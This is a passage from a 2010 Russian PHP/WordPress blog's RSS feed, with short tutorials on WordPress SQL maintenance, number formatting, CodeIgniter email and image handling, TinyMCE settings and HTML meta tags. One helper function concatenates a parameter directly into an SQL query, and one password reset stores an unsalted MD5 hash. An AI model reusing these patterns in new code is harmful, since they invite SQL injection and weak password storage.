		<description><![CDATA[Каким бы замечательным не был WordPress но случаются ситуации когда появляется необходимость в стороннем вмешательстве в его базу. В таких ситуациях помогут несколько простых вещей. Если переезжаем на другой доменто пригодятся вот такие SQL запросы. Меняем значения home и siteurl на новый домен. UPDATE wp_options SET option_value = replace(option_value, &#8216;http://www.oldurl.com&#8217;, &#8216;http://www.newurl.com&#8217;) WHERE option_name = &#8216;home&#8217; [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://saintist.ru/wp-content/uploads/2010/09/wp_schema1.png"><img src="http://saintist.ru/wp-content/uploads/2010/09/wp_schema1-300x269.png" alt="" title="SQL WordPress" width="300" height="269" class="aligncenter size-medium wp-image-1136" /></a></p>
<p>Каким бы замечательным не был  WordPress но случаются ситуации когда появляется необходимость в стороннем вмешательстве в его базу. В таких ситуациях помогут несколько простых вещей.<br />
<span id="more-1134"></span></p>
<p>Если переезжаем на  другой  доменто пригодятся вот такие SQL запросы.</p>
<p>Меняем значения <strong>home</strong> и <strong>siteurl</strong> на новый домен.</p>
<p><strong>UPDATE wp_options SET option_value = replace(option_value, &#8216;http://www.oldurl.com&#8217;, &#8216;http://www.newurl.com&#8217;) WHERE option_name = &#8216;home&#8217; OR option_name = &#8216;siteurl&#8217;;</strong></p>
<p>Меняем GUID </p>
<p><strong>UPDATE wp_posts SET guid = REPLACE (guid, &#8216;http://www.oldurl.com&#8217;, &#8216;http://www.newurl.com&#8217;);</strong></p>
<p>Меняем значение URL в постах</p>
<p><strong>UPDATE wp_posts SET post_content = REPLACE (post_content, &#8216;http://www.oldurl.com&#8217;, &#8216;http://www.newurl.com&#8217;);</strong></p>
<p>Меняем путь к картинкам если они лежат у вас на хосте</p>
<p><strong>UPDATE wp_posts SET post_content = REPLACE (post_content, &#8216;src=&#187;http://www.oldurl.com&#8217;, &#8216;src=&#187;http://yourcdn.newurl.com&#8217;);</strong></p>
<p><strong>UPDATE wp_posts SET guid = REPLACE (guid, &#8216;http://www.oldurl.com&#8217;, &#8216;http://yourcdn.newurl.com&#8217;) WHERE post_type = &#8216;attachment&#8217;;</strong></p>
<p>Обновляем мета данные постов</p>
<p><strong>UPDATE wp_postmeta SET meta_value = REPLACE (meta_value, &#8216;http://www.oldurl.com&#8217;,'http://www.newurl.com&#8217;);</strong></p>
<p>На домен новый переехали.</p>
<p>Также пригодятся запросы:</p>
<p>Меняем имя администратора  [admin] по умолчанию<br />
<strong>UPDATE wp_users SET user_login = &#8216;newlogin WHERE user_login = &#8216;Admin&#8217;;</strong></p>
<p>Сброс пароля</p>
<p><strong>UPDATE wp_users SET user_pass = MD5( &#8216;newpass&#8217; ) WHERE user_login = &#8216;userlogin&#8217;;</strong></p>
<p>Удаляем старые версии постов, очень ускоряет блог.</p>
<p><strong>DELETE a,b,c FROM wp_posts a<br />
LEFT JOIN wp_term_relationships b ON (a.ID = b.object_id)<br />
LEFT JOIN wp_postmeta c ON (a.ID = c.post_id)<br />
WHERE a.post_type = &#8216;revision&#8217;;</strong></p>
<p>Удаляем спам из комментов</p>
<p><strong>DELETE FROM wp_comments WHERE comment_approved = &#8216;spam&#8217;;</strong></p>
<p>Удаляем все пинбеки</p>
<p><strong>DELETE FROM wp_comments WHERE comment_type = &#8216;pingback&#8217;;</strong></p>
<p>Вычисляем неиспользуемые тэги</p>
<p><strong>SELECT * FROM wp_terms wt<br />
INNER JOIN wp_term_taxonomy wtt ON wt.term_id=wtt.term_id<br />
INNER JOIN wp_term_relationships wtr ON wtr.term_taxonomy_id=wtt.term_taxonomy_id<br />
LEFT JOIN wp_posts wp ON wp.ID=wtr.object_id<br />
WHERE taxonomy=&#8217;post_tag&#8217;<br />
AND ID IS null<br />
AND NOT EXISTS(SELECT * From wp_terms wt2<br />
INNER JOIN wp_term_taxonomy wtt2 ON wt2.term_id=wtt2.term_id WHERE wtt2.parent=wt.term_id) ORDER BY name;</strong></p>
<p>ps: перед всеми действиями не забудь сделать бекап базы </p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/09/30/wordpress-poleznye-sql-zaprosy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Преобразование INT в DECIMAL используя number_format</title>
		<link>http://saintist.ru/2010/09/28/preobrazovanie-int-v-decimal-ispolzuya-number_format/</link>
		<comments>http://saintist.ru/2010/09/28/preobrazovanie-int-v-decimal-ispolzuya-number_format/#comments</comments>
		<pubDate>Mon, 27 Sep 2010 20:17:15 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1126</guid>
		<description><![CDATA[Хорошим тоном считается вывод числовых значений используя специальное форматирование, при котором числовая информация легче воспринимается конечным пользователем. Простой пример : строка 1 000 000 000 гораздо легче воспринимается чем 1000000000 Наличие такой функции PHP как number_format облегчает жизнь программисту и бережет его время от написания собственных велосипедов. синтаксис ее прост number_format ( float $number [, [...]]]></description>
			<content:encoded><![CDATA[<p>Хорошим тоном  считается вывод числовых значений используя специальное  форматирование, при котором числовая информация легче воспринимается конечным пользователем.</p>
<p>Простой пример :</p>
<p>строка</p>
<p><strong>1 000 000 000</strong><br />
гораздо легче воспринимается чем</p>
<p><strong>1000000000</strong></p>
<p>Наличие такой функции  PHP как <strong>number_format </strong>облегчает жизнь программисту и бережет его время от написания собственных велосипедов.</p>
<p><span id="more-1126"></span></p>
<p>синтаксис ее прост</p>
<pre><strong>number_format</strong> ( float <em>$number</em> [, int <em>$decimals</em> ] )
<strong>number_format</strong> ( float <em>$number</em>  , int <em>$decimals</em>  , string <em>$dec_point</em>  , string <em>$thousands_sep</em>  )</pre>
<p><strong>$number</strong> &#8212; само число для форматирования</p>
<p><strong>$decimals</strong> &#8212; определяет сколько знаков после &#171;запятой&#187; отображать</p>
<p><strong>$dec_point</strong> &#8212; сам символ &#171;запятой&#187;, разделитель по умолчанию (.) точка </p>
<p><strong>$thousands_sep</strong> &#8212; разделитель строка используемая для разделения тысяч , в $thousands_sep используется только первый символ, т.е. если например поставить &#171;qwerty&#187; то разделителем будет &#171;q&#187;</p>
<p>Примеры:</p>
<p>number_format(&#171;1000000&#8243;);<br />
вернет<br />
1,000,000</p>
<p>number_format(&#171;1000000&#8243;,2);<br />
вернет<br />
1,000,000.00</p>
<p>number_format(&#171;1000000&#8243;,2,&#187;,&#187;,&#187;.&#187;);<br />
вернет<br />
1.000.000,00</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/09/28/preobrazovanie-int-v-decimal-ispolzuya-number_format/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress получить страницу или пост по  его  slug</title>
		<link>http://saintist.ru/2010/09/27/wordpress-poluchit-stranicu-ili-post-po-ego-slug/</link>
		<comments>http://saintist.ru/2010/09/27/wordpress-poluchit-stranicu-ili-post-po-ego-slug/#comments</comments>
		<pubDate>Mon, 27 Sep 2010 19:57:10 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1120</guid>
		<description><![CDATA[Довольно востребованная вещь при создании сайтов на wordpress, получение контента специфического поста или страницы по его slug, в случае с id вопросов не возникает, все довольно просто. Используя get_post($post_id, OBJECT); можно получить нужный пост по его id, то со slug придется немного повозиться. функция function getPostBySlug($postName, $type="post", $output = OBJECT) { global $wpdb; $post = [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-1123" title="wordpress получить содержимое поста или страницы по ее slug" src="http://saintist.ru/wp-content/uploads/2010/09/icon-big1-300x267.png" alt="wordpress get  post page  content by slug" width="300" height="267" /></p>
<p>Довольно востребованная  вещь при создании  сайтов на wordpress, получение контента специфического поста или  страницы по его slug, в случае с  id вопросов не возникает, все довольно просто.<br />
<span id="more-1120"></span></p>
<p>Используя get_post($post_id, OBJECT);  можно получить нужный пост по его id, то со slug  придется немного повозиться.</p>
<p>функция</p>
<pre>
function getPostBySlug($postName, $type="post", $output = OBJECT)
{
global $wpdb;
$post = $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_name = %s AND post_type='".$type."'", $postName ));
if ( $post ){
return get_post($post, $output);
}
return false;
}
</pre>
<p>легко справляется с поставленной задачей</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/09/27/wordpress-poluchit-stranicu-ili-post-po-ego-slug/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>html meta tags</title>
		<link>http://saintist.ru/2010/09/25/html-meta-tags/</link>
		<comments>http://saintist.ru/2010/09/25/html-meta-tags/#comments</comments>
		<pubDate>Sat, 25 Sep 2010 18:33:48 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[html]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1115</guid>
		<description><![CDATA[Для себя небольшая справка основных наиболее встречаемых мета тегов &#60;meta name=”title” content=”словосочетания”&#62; – аналог тега  &#60;title&#62; &#60;meta name=”page-topic” content=словосочетания”&#62; – еще один  варант &#60;title&#62; &#60;meta name=”abstract” content=”описание страницы” &#62; – аналог тега  Description &#60;meta name=”ask” CONTENT=”текст для пауков”&#62; &#60;meta name=”author” content=”Автор”&#62; – здесь пишется имя автора &#60;meta name=”autor” content=”ваше Ф.И.О., e-mail…” &#62; – используется для [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-1118" title="meta_tags[1]" src="http://saintist.ru/wp-content/uploads/2010/09/meta_tags1-300x242.jpg" alt="" width="300" height="242" /><br />
Для себя небольшая справка основных наиболее встречаемых мета тегов<br />
<span id="more-1115"></span></p>
<div id="_mcePaste"><strong>&lt;meta name=”title” content=”словосочетания”&gt;</strong> – аналог тега  &lt;title&gt;</div>
<div></div>
<div id="_mcePaste"><strong>&lt;meta name=”page-topic” content=словосочетания”&gt;</strong> – еще один  варант &lt;title&gt;</div>
<div></div>
<div id="_mcePaste"><strong>&lt;meta name=”abstract” content=”описание страницы” &gt;</strong> – аналог тега  Description</div>
<div></div>
<div id="_mcePaste"><strong>&lt;meta name=”ask” CONTENT=”текст для пауков”&gt;</strong></div>
<div><strong><br />
</strong></div>
<div id="_mcePaste"><strong>&lt;meta name=”author” content=”Автор”&gt;</strong> – здесь пишется имя автора</div>
<div></div>
<div id="_mcePaste"><strong>&lt;meta name=”autor” content=”ваше Ф.И.О., e-mail…” &gt;</strong> – используется для указания имени автора и дополнительной информации о нём.</div>
<div></div>
<div id="_mcePaste"><strong>&lt;meta name=”Classification” CONTENT=”Аудитория”&gt;</strong> – Тег отвечает за аудиторию, на которую направлен сайт – например Parent, AWMы</div>
<div></div>
<div id="_mcePaste">&lt;<strong>meta name=”copyright” content=”Авторские права”&gt;</strong> – используют для указания авторских прав.</div>
<div></div>
<div id="_mcePaste"><strong>&lt;meta name=”Document-state” CONTENT=”Dynamic”&gt;</strong> – Указывает, что страница динамичная, т.е. ее содержание периодически меняется.</div>
<div></div>
<div id="_mcePaste"><strong>&lt;meta name=”Document-state” CONTENT=”Static”&gt;</strong> – указание что  текущая страница статичная, не меняется ее содержание</div>
<div></div>
<div id="_mcePaste"><strong>&lt;meta name=”revisit” content=”10 days”</strong>&gt; &#8212; с помощью тега задается интервал когда необходимо роботам поисковиков заново посетить страницу</div>
<div></div>
<div id="_mcePaste"><strong>&lt;meta name=”robots” content=”NOODP”&gt;</strong> – тег запрещающий брать поисковикам описание из ДМОЗ для сниппета</div>
<div></div>
<div id="_mcePaste"><strong>&lt;meta name=”site-created” content=”24-09-2007?&gt;</strong> – дата когда была создана страница</div>
<div></div>
<div id="_mcePaste"><strong>&lt;meta HTTP-EQUIV=”Content-Language” CONTENT=”en,ru”&gt;</strong> – язык страницы.</div>
<div></div>
<div id="_mcePaste"><strong>&lt;meta HTTP-EQUIV=”Content-Type” content=”text/html; charset=windows-1251?&gt; </strong>– тип документа и его кодировки</div>
<div></div>
<div id="_mcePaste"><strong>&lt;meta HTTP-EQUIV=”Expires” CONTENT=”Mon, 12 Jan 2010 12:22:25 GMT”&gt;</strong> – Контроль кэширования.</div>
<div></div>
<div id="_mcePaste"><strong>&lt;meta HTTP-EQUIV=”PRAGMA” content =”no-cache”</strong>&gt; – страничка не будет кэшироваться браузером.</div>
<div></div>
<div id="_mcePaste"><strong>&lt;meta HTTP-EQUIV=”Refresh” content=”10?&gt;</strong> – обновить страницу через заданное количество секунд</div>
<div></div>
<div id="_mcePaste"><strong>&lt;meta HTTP-EQUIV=”Refresh” content=”30; URL=http://ya.ru”&gt;</strong> – автоматическая  загрузка указанной страницы через заданный временной интервал.</div>
<div></div>
<div id="_mcePaste"><strong>&lt;meta HTTP-EQUIV=”Refresh” CONTENT=”5; URL=page.html”&gt;</strong> – редирект – этот тег через 5 секунд загрузит страницу page.html в текущем окне браузера.</div>
<div></div>
<div id="_mcePaste"><strong>&lt;meta HTTP-EQUIV=”Reply-to” content=”mail@mail.com”&gt;</strong> – адрес электронной почты автора.</div>
<div></div>
<div id="_mcePaste"><strong>&lt;meta HTTP-EQUIV=”subject” CONTENT=”Тема”&gt;</strong> – тема страницы.</div>
<div></div>
<div id="_mcePaste"><strong>&lt;meta name=”Robots” CONTENT=”index, follow”&gt;</strong> – отвечает за управление поисковыми роботами.</div>
<div id="_mcePaste">CONTENT может принимать следующие зачения:</div>
<div id="_mcePaste">index — индексировать эту страницу.</div>
<div id="_mcePaste">follow — индексировать страницы на которые есть ссылки с этой странице.</div>
<div id="_mcePaste">all — эквивалентно двум предыдущим через запятую.</div>
<div id="_mcePaste">noindex — не индексировать страницу, но идти по ссылкам.</div>
<div id="_mcePaste">nofollow — индексировать, но не идти по ссылкам.</div>
<div id="_mcePaste">none — эквивалентно двум предыдущим через запятую.</div>
<div id="_mcePaste">По умолчанию CONTENT=”index, follow”.</div>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/09/25/html-meta-tags/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>simplexml_load_string Document labelled UTF-16 but has UTF-8 content</title>
		<link>http://saintist.ru/2010/09/12/simplexml_load_string-document-labelled-utf-16-but-has-utf-8-content/</link>
		<comments>http://saintist.ru/2010/09/12/simplexml_load_string-document-labelled-utf-16-but-has-utf-8-content/#comments</comments>
		<pubDate>Sun, 12 Sep 2010 10:16:43 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[xml]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1113</guid>
		<description><![CDATA[Столкнулся с проблемой . Забираю со стороннего сервиса данные в xml, для разбора использую simplexml, когда скармливаю данные функции simplexml_load_string , то пишет Document labelled UTF-16 but has UTF-8 content , т.е. заголовок не нравится кодировки исходного xml. Самое простое решение поменять на приемлемый мне заголовок $xml = preg_replace(&#8216;/(]]></description>
			<content:encoded><![CDATA[<p>Столкнулся с проблемой . Забираю со стороннего сервиса  данные  в xml, для разбора использую simplexml, когда  скармливаю данные функции simplexml_load_string , то  пишет <strong>Document labelled UTF-16 but has UTF-8 content</strong> , т.е. заголовок не нравится кодировки исходного  xml.<br />
<span id="more-1113"></span></p>
<p>Самое простое решение поменять   на приемлемый мне заголовок</p>
<p><strong>$xml = preg_replace(&#8216;/(<\?xml[^?]+?)utf-16/i', '$1utf-8', $xml);</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/09/12/simplexml_load_string-document-labelled-utf-16-but-has-utf-8-content/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress установка параметров</title>
		<link>http://saintist.ru/2010/08/28/wordpress-ustanovka-parametrov/</link>
		<comments>http://saintist.ru/2010/08/28/wordpress-ustanovka-parametrov/#comments</comments>
		<pubDate>Sat, 28 Aug 2010 07:24:21 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1110</guid>
		<description><![CDATA[Не все знают эту фишку WordPress и пишут о ней почему-то редко. Как посмотреть все настройки вашего блога на WordPress. Для этого достаточно набрать в адресной строке http://ваш_блог_на _wordpress/wp-admin/options.php и откроется страница со абсолютно всеми опциями вашего блога, и установленных в нем плагинов]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2010/08/saintist.ru_-300x53.png" alt="Все настройки блога на wordpress" title="saintist.ru" width="300" height="53" class="aligncenter size-medium wp-image-1111" /><br />
Не все знают  эту фишку WordPress и пишут о ней  почему-то редко.<br />
Как посмотреть все настройки  вашего блога  на WordPress.<br />
<span id="more-1110"></span></p>
<p>Для этого достаточно  набрать в адресной строке </p>
<p>http://ваш_блог_на _wordpress/wp-admin/options.php</p>
<p>и откроется страница со абсолютно всеми  опциями  вашего блога, и установленных в нем плагинов</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/08/28/wordpress-ustanovka-parametrov/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>php codeigniter отправка писем кириллицей</title>
		<link>http://saintist.ru/2010/07/31/php-codeigniter-otpravka-pisem-kirillicej/</link>
		<comments>http://saintist.ru/2010/07/31/php-codeigniter-otpravka-pisem-kirillicej/#comments</comments>
		<pubDate>Sat, 31 Jul 2010 12:26:46 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php CodeIgniter]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[utf-8]]></category>
		<category><![CDATA[windows-1251']]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1108</guid>
		<description><![CDATA[По умолчанию письма в CodeIgniter отправляются в utf кодировке, но несмотря на это к получателю зачастую они приходят в виде не читаемого текста, если содержат в себе кириллические символы. Особенно эта проблема актуальна если письмо отправляется получателю на сервера mail.ru. В интернете приведено много способов, и даже написанных кем-то дополнительных библиотек решающих проблему с кириллицей [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2010/05/code_igniter.png" alt="php CodeIgniter" title="php CodeIgniter" width="260" height="300" class="aligncenter size-full wp-image-1095" /></p>
<p>По  умолчанию письма в  CodeIgniter отправляются в utf кодировке, но  несмотря на это   к получателю зачастую они приходят в виде не читаемого текста, если содержат в себе кириллические символы. Особенно  эта проблема   актуальна если письмо  отправляется получателю на сервера  mail.ru.<br />
<span id="more-1108"></span><br />
В интернете  приведено  много способов, и  даже написанных кем-то  дополнительных  библиотек  решающих проблему с кириллицей в  email. </p>
<p>Но  есть очень простое решение всего этого .</p>
<p>при отправке нужно настроить параметры конфигурации,</p>
<p>$config['charset'] = &#8216;windows-1251&#8242;;<br />
$this->email->initialize($con fig);</p>
<p>и письма начинают приходить в нормальном читаемом виде.</p>
<p>чтобы не делать это  каждый раз можно поместить их в файл конфигурации. Создадите файл  email.php, добавьте туда все необходимые  параметры  в виде массива $config. Сохраните его в config/email.php и он автоматически будет использоваться каждый раз при отправке почты средствами codeigniter. </p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/07/31/php-codeigniter-otpravka-pisem-kirillicej/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Crop и Resize  изображений  средствами CodeIgniter</title>
		<link>http://saintist.ru/2010/05/20/crop-i-resize-izobrazhenij-sredstvami-codeigniter/</link>
		<comments>http://saintist.ru/2010/05/20/crop-i-resize-izobrazhenij-sredstvami-codeigniter/#comments</comments>
		<pubDate>Thu, 20 May 2010 12:22:11 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php CodeIgniter]]></category>
		<category><![CDATA[crop]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[resize]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1097</guid>
		<description><![CDATA[Великолепный фреймворк CodeIgniter идеальный инструмент в руках разработчика. Его простота помогает решить насущные задачи несколькими сроками кода. Например рассмотрим обрезку и масштабирование изображений. Это может пригодиться например при загрузке на хост изображения с автоматическим созданием превью. Превью будет квадратным и генерировать его вот каким образом, из исходного изображения брать квадратный участок из центральной области и [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2010/05/code_igniter.png" alt="CodeIgniter" title="CodeIgniter" width="260" height="300" class="aligncenter size-full wp-image-1095" /></p>
<p>Великолепный фреймворк CodeIgniter идеальный инструмент в руках разработчика. Его простота помогает решить насущные задачи несколькими  сроками кода. Например рассмотрим обрезку и масштабирование изображений.<br />
<span id="more-1097"></span></p>
<p>Это может пригодиться  например при загрузке на хост изображения с автоматическим созданием превью.</p>
<p>Превью будет квадратным и  генерировать его  вот каким образом,  из исходного изображения  брать квадратный участок из центральной области  и масштабировать его до размера превью.</p>
<p>Пошагово все расписывать не буду, просто приведу  код с комментариями.</p>
<p>//&#8212; настраиваем параметры библиотеки работы с загрузками<br />
$config['upload_path'] = &#8216;путь куда сохранять относительно корня хоста&#8217; ;<br />
/*разрешенной типы файлов*/<br />
$config['allowed_types'] = &#8216;gif|jpg|png&#8217;;</p>
<p>/*подключаем библиотеку применяем конфиг*/<br />
$this-&gt;CI-&gt;load-&gt;library(&#8216;upload&#8217;, $config);</p>
<p>$this-&gt;CI-&gt;upload-&gt;initialize($config);<br />
//&#8212; загружаем файл<br />
if($this-&gt;CI-&gt;upload-&gt;do_upload(&#8216;имя переменной поля type=&#187;file&#187;&#8216;)){<br />
/*получаем данные о загруженном файле*/<br />
$filedata=$this-&gt;CI-&gt;upload-&gt;data();<br />
/*делаем  обрезку*/<br />
/*размер стороны квадратной области из центра изображения (размер меньшей стороны изображения)*/<br />
$image_size=0;<br />
if($filedata['image_width']&gt;$filedata['image_height']){<br />
$image_size=$filedata['image_height'];<br />
/*смещение слева*/<br />
$image_x_axis = round(($filedata['image_width']-$filedata['image_height'])/2);<br />
/*смещение сверху*/<br />
$image_y_axis=0;<br />
}else{<br />
$image_size=$filedata['image_width'];<br />
$image_x_axis = 0;					$image_y_axis=round(($filedata['image_height']-$filedata['image_width'])/2);<br />
}</p>
<p>/*настройка обрезки и создания превью*/<br />
$config['image_library'] = &#8216;gd2&#8242;; /*какой библиотекой пользуемся*/<br />
$config['source_image']	= $filedata['full_path'];/*путь к загруженному файлу*/<br />
$config['x_axis'] = $image_x_axis;/*смещение слева*/<br />
$config['y_axis'] = $image_y_axis;/*смещение сверху*/<br />
$config['new_image'] = /*путь к изображению которое будет создано*/</p>
<p>$config['width']	 = $image_size;/*ширина*/<br />
$config['height']	= $image_size;/*высота*/<br />
/*загружаем библиотеку работы  с изображениями применяем конфиг*/<br />
$this-&gt;CI-&gt;load-&gt;library(&#8216;image_lib&#8217;, $config);<br />
/*и вызываем функцию  обрезки*/<br />
$this-&gt;CI-&gt;image_lib-&gt;crop();<br />
/*чистим конфиг*/<br />
$this-&gt;CI-&gt;image_lib-&gt;clear();<br />
/*делаем превью 175х175 ресайзом*/<br />
/*назначаем новые данные для библиотеки работы с изображениями*/<br />
$config['image_library'] = &#8216;gd2&#8242;;<br />
$config['source_image']	= &#8216;Путь к изображению которое будем масштабировать (тот путь который используется  в создании обрезке)&#8217;;<br />
$config['new_image'] = &#8216;путь к файлу куда сохраним результат&#8217;;</p>
<p>$config['maintain_ratio'] = TRUE;<br />
$config['width']	 = 175;<br />
$config['height']	= 175;<br />
$this-&gt;CI-&gt;image_lib-&gt;initialize($config); // инициализируем новый конфиг</p>
<p>$this-&gt;CI-&gt;image_lib-&gt;resize(); // и вызываем функцию  ресайза для превью</p>
<p>}</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/05/20/crop-i-resize-izobrazhenij-sredstvami-codeigniter/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>CodeIgniter получить id последней записи  аналог mysql_insert_id()</title>
		<link>http://saintist.ru/2010/05/09/codeigniter-poluchit-id-poslednej-zapisi-analog-mysql_insert_id/</link>
		<comments>http://saintist.ru/2010/05/09/codeigniter-poluchit-id-poslednej-zapisi-analog-mysql_insert_id/#comments</comments>
		<pubDate>Sat, 08 May 2010 20:50:22 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php CodeIgniter]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1094</guid>
		<description><![CDATA[CodeIgniter великолепный фреймворк, быстрый , мощный и при этом простой и удобный. Да и вес дистрибутива мал. Но его простота в многих ситуациях становится препятствием? но об этом позже. Интерфейс взаимодействия прост и интуитивно понятен, но бывают все же моменты. Например как получить id последней добавленной записи в БД? Все просто $this->CI->db->insert_id(); вернет id последней [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2010/05/code_igniter.png" alt="CodeIgniter получить id последней записи  аналог mysql_insert_id()" title="CodeIgniter получить id последней записи  аналог mysql_insert_id()" width="260" height="300" class="aligncenter size-full wp-image-1095" /></p>
<p>CodeIgniter великолепный фреймворк, быстрый , мощный и при этом простой  и  удобный. Да и вес дистрибутива  мал.<br />
Но его простота в многих  ситуациях  становится препятствием? но об этом позже.</p>
<p>Интерфейс взаимодействия прост и  интуитивно понятен, но бывают все же моменты.</p>
<p>Например  как получить id последней добавленной записи в БД?<br />
<span id="more-1094"></span></p>
<p>Все просто</p>
<p><strong>$this->CI->db->insert_id();</strong> </p>
<p>вернет id последней записи в Базу данных, работает аналогично <strong>mysql_insert_id()</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/05/09/codeigniter-poluchit-id-poslednej-zapisi-analog-mysql_insert_id/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TinyMCE убрать абзацы</title>
		<link>http://saintist.ru/2010/05/04/tinymce-ubrat-abzacy/</link>
		<comments>http://saintist.ru/2010/05/04/tinymce-ubrat-abzacy/#comments</comments>
		<pubDate>Tue, 04 May 2010 12:14:46 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[TinyMCE]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1091</guid>
		<description><![CDATA[TinyMCE удобный, в меру глючный    редактор. Хороше зарекомендовал себя как Wisiwig  редактор для редактирования текста на сторону пользователя . Основной момент который напрягает  при  использовании это то что TinyMCE вместо переносов строк в виде br заключает  участки текста  при нажатии Enter в  тег p. С этим проблем не возникает если знать такой нюанс как [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2010/05/tinymce-300x162.png" alt="TinyMCE  br p" title="TinyMCE  br p" width="300" height="162" class="alignnone size-medium wp-image-1092" /></p>
<p>TinyMCE удобный, в меру глючный    редактор. Хороше зарекомендовал себя как Wisiwig <strong><em> </em></strong>редактор для редактирования текста на сторону пользователя .</p>
<p>Основной момент который напрягает  при  использовании это то что TinyMCE вместо переносов строк в виде br заключает  участки текста  при нажатии Enter в  тег p.<br />
<span id="more-1091"></span><br />
С этим проблем не возникает если знать такой нюанс как комбинация Shift+Enter которая вставляет  перенос строки в виде br.</p>
<p>Но большая часть пользователей, да что там большая практически 99%, не знают о таком &#171;финте&#187;. и по привычке переносы строк  делают через Enter а не Shift+Enter.</p>
<p>TinyMCE позволяет настраивать  формат переноса строк.</p>
<p>Для переключения в режим переноса строк TinyMCE через br. Достаточно при инициализации TinyMCE добавить несколько строк.</p>
<pre><strong>forced_root_block : false,</strong></pre>
<pre><strong>force_br_newlines : true,
force_p_newlines : false</strong></pre>
<p>Этого достаточно для того чтобы TinyMCE  стал  переносить строки в тексте через  br а не заключать их в p.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/05/04/tinymce-ubrat-abzacy/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Как узнать/получить имя  переменной</title>
		<link>http://saintist.ru/2010/04/22/kak-uznatpoluchit-imya-peremennoj/</link>
		<comments>http://saintist.ru/2010/04/22/kak-uznatpoluchit-imya-peremennoj/#comments</comments>
		<pubDate>Wed, 21 Apr 2010 20:03:10 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[узнать имя переменной]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1088</guid>
		<description><![CDATA[Попадаются нетривиальные задачи, например  необходима функция которая в зависимости от полученной переменной в качестве аргумента , должна выполнить  определенные действия. Т.е. необходимо определить не значение а  имя переменной средствами php. Решение есть. Понадобиться функция function vname( &#38;$var, $scope=false, $prefix=&#8217;unique&#8217;, $suffix=&#8217;value&#8217; ){ if($scope) $vals = $scope; else      $vals = $GLOBALS; $old = $var; $var = $new = $prefix.rand().$suffix; $vname = FALSE; foreach($vals as $key =&#62; $val) { if($val === $new) $vname = $key; } $var = $old; return $vname; } [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-medium wp-image-1089 aligncenter" title="имя переменной" src="http://saintist.ru/wp-content/uploads/2010/04/name_var-300x197.jpg" alt="Определить имя переменной" width="300" height="197" /></p>
<p>Попадаются нетривиальные задачи, например  необходима функция которая в зависимости от полученной переменной в качестве аргумента , должна выполнить  определенные действия. Т.е. необходимо определить не значение а  имя переменной средствами php.<br />
Решение есть.<br />
<span id="more-1088"></span></p>
<p>Понадобиться функция</p>
<p>function vname(<br />
&amp;$var,<br />
$scope=false,<br />
$prefix=&#8217;unique&#8217;,<br />
$suffix=&#8217;value&#8217;<br />
){<br />
if($scope) $vals = $scope;<br />
else      $vals = $GLOBALS;<br />
$old = $var;<br />
